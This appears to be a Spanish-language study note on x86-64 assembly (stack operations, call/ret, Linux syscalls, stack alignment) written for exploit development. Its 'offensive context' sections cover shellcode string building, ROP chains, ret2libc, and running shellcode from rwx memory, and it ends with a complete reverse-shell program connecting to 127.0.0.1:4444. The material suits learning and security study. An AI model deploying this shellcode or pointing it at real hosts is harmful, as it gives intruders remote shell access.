Stack, Syscalls y Funciones
push — Meter al stack
¿Qué hace?
Copia el valor al tope del stack y baja rsp en 8 bytes. El valor en el registro queda intacto (es una copia).
Cuándo se usa
- Preservar registros antes de un call/syscall
- Construir strings en el stack (shellcoding sin variables)
- Pasar argumentos extras (más de 6)
- Construir estructuras en el stack dinámicamente
Ejemplos explicados
nasm
; Preservar registro antes de syscall
push rbx ; guardar rbx (callee-saved)
; ... syscall que modifica rbx ...
pop rbx ; restaurar
; rsp baja 8 bytes con cada push:
; antes: rsp = 0x7fff1000
push rax ; rsp = 0x7fff0ff8, [0x7fff0ff8] = rax
push rbx ; rsp = 0x7fff0ff0, [0x7fff0ff0] = rbx
; stack: [rbx][rax] ← tope (rsp apunta a rbx)
; Construir "/bin//sh" en el stack (técnica de shellcoding)
push 0 ; null terminator del string
mov rax, '/bin//sh' ; 8 bytes exactos
push rax ; stack: [0]["/bin//sh"] ← rsp
mov rdi, rsp ; rdi apunta a "/bin//sh\0"
; Push de valor inmediato (máximo 4 bytes)
push 0x41 ; push byte 'A'
push 0xdeadbeef ; push dwordContexto ofensivo
nasm
; String technique — construir cualquier string en el stack sin variables
; Ejemplo: "/bin/sh" para execve
xor rbx, rbx ; rbx = 0 (null terminator)
push rbx ; push null terminator
mov rbx, '/bin//sh' ; "/bin//sh" = 8 bytes (/ extra es ignorada)
push rbx
mov rdi, rsp ; rdi → "/bin//sh\0"
; Técnica de múltiples chunks para strings largos
; "/etc/passwd" = 11 bytes → necesita 2 pushes
xor rbx, rbx
push rbx ; null terminator
mov rbx, 'asswd' ; últimos 5 chars + 3 padding
push rbx
mov rbx, '/etc/p' ; primeros 6 chars + 2 padding
push rbx
mov rdi, rsp ; rdi → "/etc/passwd\0"
; Preparar argv[] en el stack para execve
; execve necesita argv = ["/bin/sh", NULL]
xor rax, rax
push rax ; NULL (fin de argv)
push rdi ; dirección de "/bin/sh"
mov rsi, rsp ; rsi → [ptr_a_binsh, NULL]pop — Sacar del stack
¿Qué hace?
Mueve el valor del tope del stack al destino y sube rsp en 8 bytes. El valor se elimina del stack.
Cuándo se usa
- Restaurar registros después de un call/syscall
- Leer valores del stack sin usar
mov [rsp] - Gadgets de ROP
Ejemplos explicados
nasm
; Restaurar en orden INVERSO al push
push rax
push rbx
push rcx
; ... código ...
pop rcx ; primero el último que entró
pop rbx
pop rax ; último el primero que entró
; pop en gdb — ver qué sale del stack
; si quieres leer la return address sin consumirla:
mov rax, [rsp] ; leer sin consumir
; vs:
pop rax ; leer Y consumir (rsp sube)
; Gadget clásico de ROP
; "pop rdi; ret" → cargar valor en rdi y continuar ROP chain
pop rdi ; rdi = valor del stack (controlado por atacante)
ret ; saltar al siguiente gadgetContexto ofensivo
nasm
; ROP gadgets más buscados con pop:
; "pop rdi; ret" → cargar 1er argumento
; "pop rsi; ret" → cargar 2do argumento
; "pop rdx; ret" → cargar 3er argumento
; "pop rax; ret" → cargar syscall number
; Ejemplo de ROP chain para execve("/bin/sh", NULL, NULL):
; (cadena de gadgets en el stack, controlada via overflow)
; [addr pop_rax][59][addr pop_rdi][addr_binsh][addr pop_rsi][0][addr pop_rdx][0][addr_syscall]
; pop + ret para limpiar argumentos del stack (cdecl calling convention)
; en x86 32-bit las funciones dejan args en stack
call funcion
pop rax ; limpiar argumento 1 del stack
pop rbx ; limpiar argumento 2
; (en x86_64 esto rara vez es necesario)call — Llamar función/procedimiento
¿Qué hace?
- Push de la dirección de la siguiente instrucción (
rip) al stack - Salta al destino
Cuándo se usa
- Llamar funciones/procedimientos propios
- Llamar funciones de libc (printf, scanf, etc.)
- Técnica jmp-call-pop (legacy shellcoding)
Ejemplos explicados
nasm
; call básico
call miFuncion ; push rip_siguiente; jmp miFuncion
; miFuncion puede usar ret para volver aquí
; El stack durante call:
; antes call: [datos...] ← rsp
; después call: [return_addr][datos...] ← rsp (rsp bajó 8)
; call con registro (dirección dinámica)
mov rax, 0x401234
call rax ; llamar a la función en 0x401234
; call en programa modular (fib.s):
_start:
call printMessage
call initFib
call loopFib
call Exit
printMessage:
; hacer algo
ret ; volver a _start después del call
; Stack alignment con call:
; cada call baja rsp en 8 → debes compensar antes de llamar a libc
sub rsp, 8 ; alinear a 16
call printf
add rsp, 8Contexto ofensivo
nasm
; call rax — ejecutar shellcode cuya dirección está en rax
; después de mmap():
; rax = dirección de memoria rwx
call rax ; ejecutar shellcode
; Técnica jmp-call-pop (legacy, menos usada hoy):
; para obtener rip en versiones viejas sin PIE
jmp siguiente
obtener_rip:
pop rax ; rax = dirección de 'string' (siguiente byte)
jmp usar_rax
siguiente:
call obtener_rip
string: db '/bin/sh', 0
; call como gadget ROP
; "call [reg+offset]" → llamar función de vtable
call [rdi+8] ; llamar función en vtable+8 (virtual dispatch)
; si controlas el objeto → vtable hijackingret — Retornar de función
¿Qué hace?
Pop de la dirección del tope del stack → rip. Básicamente: pop rip.
Cuándo se usa
- Terminar una función y volver al caller
- Gadget fundamental de ROP
- Ajuste de stack alignment (ret sube rsp en 8)
Ejemplos explicados
nasm
; Función normal
miFuncion:
push rbp
mov rbp, rsp
; ... código ...
pop rbp
ret ; pop [rsp] → rip; rsp += 8
; ret "consume" la return address del stack:
; antes ret: [return_addr][otros datos] ← rsp
; después ret: [otros datos] ← rsp (rsp subió 8)
; rip = return_addr
; ret como gadget de stack alignment:
; a veces libc necesita rsp alineado a 16 EXACTAMENTE
; si está desalineado, un 'ret' extra lo arregla
; (porque sube rsp en 8, cambiando la alineación)
call ret_gadget ; este ret sube rsp en 8 sin hacer nada más
call printfContexto ofensivo
nasm
; ROP — Return Oriented Programming
; Cada gadget termina en ret
; ret carga el siguiente gadget desde el stack (controlado por atacante)
; Gadget 1: pop rdi; ret
; [stack]: [addr_gadget1][arg_para_rdi][addr_gadget2][arg_gadget2]...
; 1. ret salta a gadget1
; 2. pop rdi carga el primer argumento
; 3. ret salta a gadget2
; ... y así sucesivamente
; ret2libc — técnica clásica
; sobreescribir return address con dirección de system() en libc
; y poner "/bin/sh" como argumento en el stack
; Bypass de stack canary con ret:
; si hay un canary, no puedes sobreescribir directamente
; pero con un info leak que te dé el canary,
; puedes incluirlo en tu overflow y llegar al return address
; ret para alinear stack (muy común en exploits modernos):
; pop rdi; ret → cargar arg
; ret → solo alinear rsp
; call system → ejecutarSyscalls — Detalle completo
¿Qué es una syscall?
Interfaz entre espacio de usuario y el kernel de Linux. Le dices al kernel qué hacer (rax = número) y con qué (rdi, rsi, rdx...).
Flujo de una syscall
1. mov rax, N → elegir syscall
2. mov rdi, arg1 → 1er argumento
3. mov rsi, arg2 → 2do argumento
4. mov rdx, arg3 → 3er argumento
5. syscall → trap al kernel
6. kernel ejecuta
7. rax = resultado (negativo = error)Syscalls importantes con ejemplos
nasm
; ── read(fd, buf, count) ──
mov rax, 0 ; syscall 0
mov rdi, 0 ; fd = stdin (0)
mov rsi, buffer ; buffer donde guardar
mov rdx, 100 ; leer máximo 100 bytes
syscall
; rax = bytes leídos, o negativo si error
; ── write(fd, buf, count) ──
mov rax, 1
mov rdi, 1 ; fd = stdout
mov rsi, message
mov rdx, 13
syscall
; ── open(pathname, flags) ──
mov rax, 2
mov rdi, filename ; "/etc/passwd\0"
xor rsi, rsi ; O_RDONLY = 0
syscall
; rax = file descriptor (negativo si error)
mov rbx, rax ; guardar fd
; ── close(fd) ──
mov rax, 3
mov rdi, rbx ; fd a cerrar
syscall
; ── mmap(addr, len, prot, flags, fd, offset) ──
mov rax, 9
xor rdi, rdi ; addr = NULL (kernel elige)
mov rsi, 4096 ; tamaño = 1 página
mov rdx, 7 ; prot = rwx (PROT_READ|PROT_WRITE|PROT_EXEC)
mov r10, 0x22 ; flags = MAP_PRIVATE|MAP_ANONYMOUS
mov r8, -1 ; fd = -1 (sin archivo)
xor r9, r9 ; offset = 0
syscall
; rax = dirección de memoria asignada
; ── execve(pathname, argv, envp) ──
mov rax, 59
; rdi = puntero a "/bin//sh\0"
; rsi = puntero a [ptr_binsh, NULL]
; rdx = NULL
syscall
; ── socket(domain, type, protocol) ──
mov rax, 41 ; socket syscall
mov rdi, 2 ; AF_INET
mov rsi, 1 ; SOCK_STREAM (TCP)
xor rdx, rdx ; protocol = 0 (auto)
syscall
; rax = socket fd
; ── connect(sockfd, addr, addrlen) ──
mov rax, 42
mov rdi, rbx ; socket fd
mov rsi, sockaddr ; struct sockaddr_in
mov rdx, 16 ; sizeof(sockaddr_in)
syscall
; ── dup2(oldfd, newfd) ──
; redirigir stdin/stdout/stderr al socket
mov rax, 33
mov rdi, sockfd
mov rsi, 0 ; stdin
syscall
mov rax, 33
mov rdi, sockfd
mov rsi, 1 ; stdout
syscall
mov rax, 33
mov rdi, sockfd
mov rsi, 2 ; stderr
syscall
; ── exit(status) ──
mov rax, 60
xor rdi, rdi ; exit code 0
syscallContexto ofensivo completo — Reverse Shell
nasm
; Reverse shell en ASM puro:
; connect back a 127.0.0.1:4444
global _start
section .text
_start:
; socket(AF_INET, SOCK_STREAM, 0)
mov rax, 41
mov rdi, 2
mov rsi, 1
xor rdx, rdx
syscall
mov rbx, rax ; guardar sockfd
; connect(sockfd, {AF_INET, 4444, 127.0.0.1}, 16)
; struct sockaddr_in en el stack:
push 0x0100007f ; 127.0.0.1 en little-endian
push word 0x5c11 ; puerto 4444 en big-endian (0x115c)
push word 0x0002 ; AF_INET = 2
mov rsi, rsp ; rsi = puntero a la struct
mov rax, 42
mov rdi, rbx
mov rdx, 16
syscall
; dup2(sockfd, 0/1/2) — redirigir stdin/stdout/stderr
mov rax, 33
mov rdi, rbx
xor rsi, rsi ; stdin=0
syscall
mov rax, 33
mov rdi, rbx
mov rsi, 1 ; stdout=1
syscall
mov rax, 33
mov rdi, rbx
mov rsi, 2 ; stderr=2
syscall
; execve("/bin//sh", ["/bin//sh", NULL], NULL)
xor rdx, rdx
push rdx ; null terminator
mov rdi, '/bin//sh'
push rdi
mov rdi, rsp ; rdi → "/bin//sh"
push rdx ; NULL fin de argv
push rdi ; argv[0]
mov rsi, rsp
mov rax, 59
syscallStack Alignment — Por qué importa
¿Qué es?
Antes de llamar funciones de libc (printf, scanf, system...), rsp DEBE ser múltiplo de 16, o la función crashea.
Por qué ocurre el desalineamiento
Cada push/call baja rsp en 8 bytes.
Cada pop/ret sube rsp en 8 bytes.
Si tienes un número impar de push/call sin pop/ret → desalineado.Cómo calcularlo
nasm
; Contar elementos apilados sin quitar:
; push rax → +8
; push rbx → +8
; call func → +8 (push implícito de rip)
; Total: 24 bytes → 24 % 16 = 8 → DESALINEADO
; Para alinear: necesitas llegar a múltiplo de 16
sub rsp, 8 ; total: 32 bytes → 32 % 16 = 0 → ALINEADO ✓
; O simplemente hacer un push extra:
push rax ; dummy push para alinear
call printf
pop rax ; limpiarEjemplo con printFib
nasm
printFib:
push rax ; rsp -= 8 (total: 8 desde frame)
push rbx ; rsp -= 8 (total: 16)
; + el call a printFib = 8 más = 24 total
; 24 % 16 = 8 → DESALINEADO
; pero si loopFib también hizo un call:
; call loopFib (8) + call printFib (8) + push rax (8) + push rbx (8) = 32
; 32 % 16 = 0 → ALINEADO ✓
mov rdi, outFormat
mov rsi, rbx
call printf ; necesita rsp % 16 = 0
pop rbx
pop rax
retResumen — Patrones en contexto ofensivo
push/pop → preservar registros + construir strings en stack
call/ret → funciones + base de ROP chains
Syscalls clave para offensive:
open (2) → leer archivos del sistema
mmap (9) → memoria rwx para shellcode
execve(59) → spawn /bin/sh
socket(41) → crear socket TCP
connect(42) → conectar al listener
dup2 (33) → redirigir stdin/stdout/stderr al socket
exit (60) → salir limpio sin segfault
Stack alignment:
contar push/call sin pop/ret
si impar → sub rsp, 8 antes del call externo
si par → ya alineado
ROP:
cada gadget termina en ret
ret lee siguiente gadget del stack
buscados: pop rdi;ret pop rsi;ret pop rdx;ret syscall;ret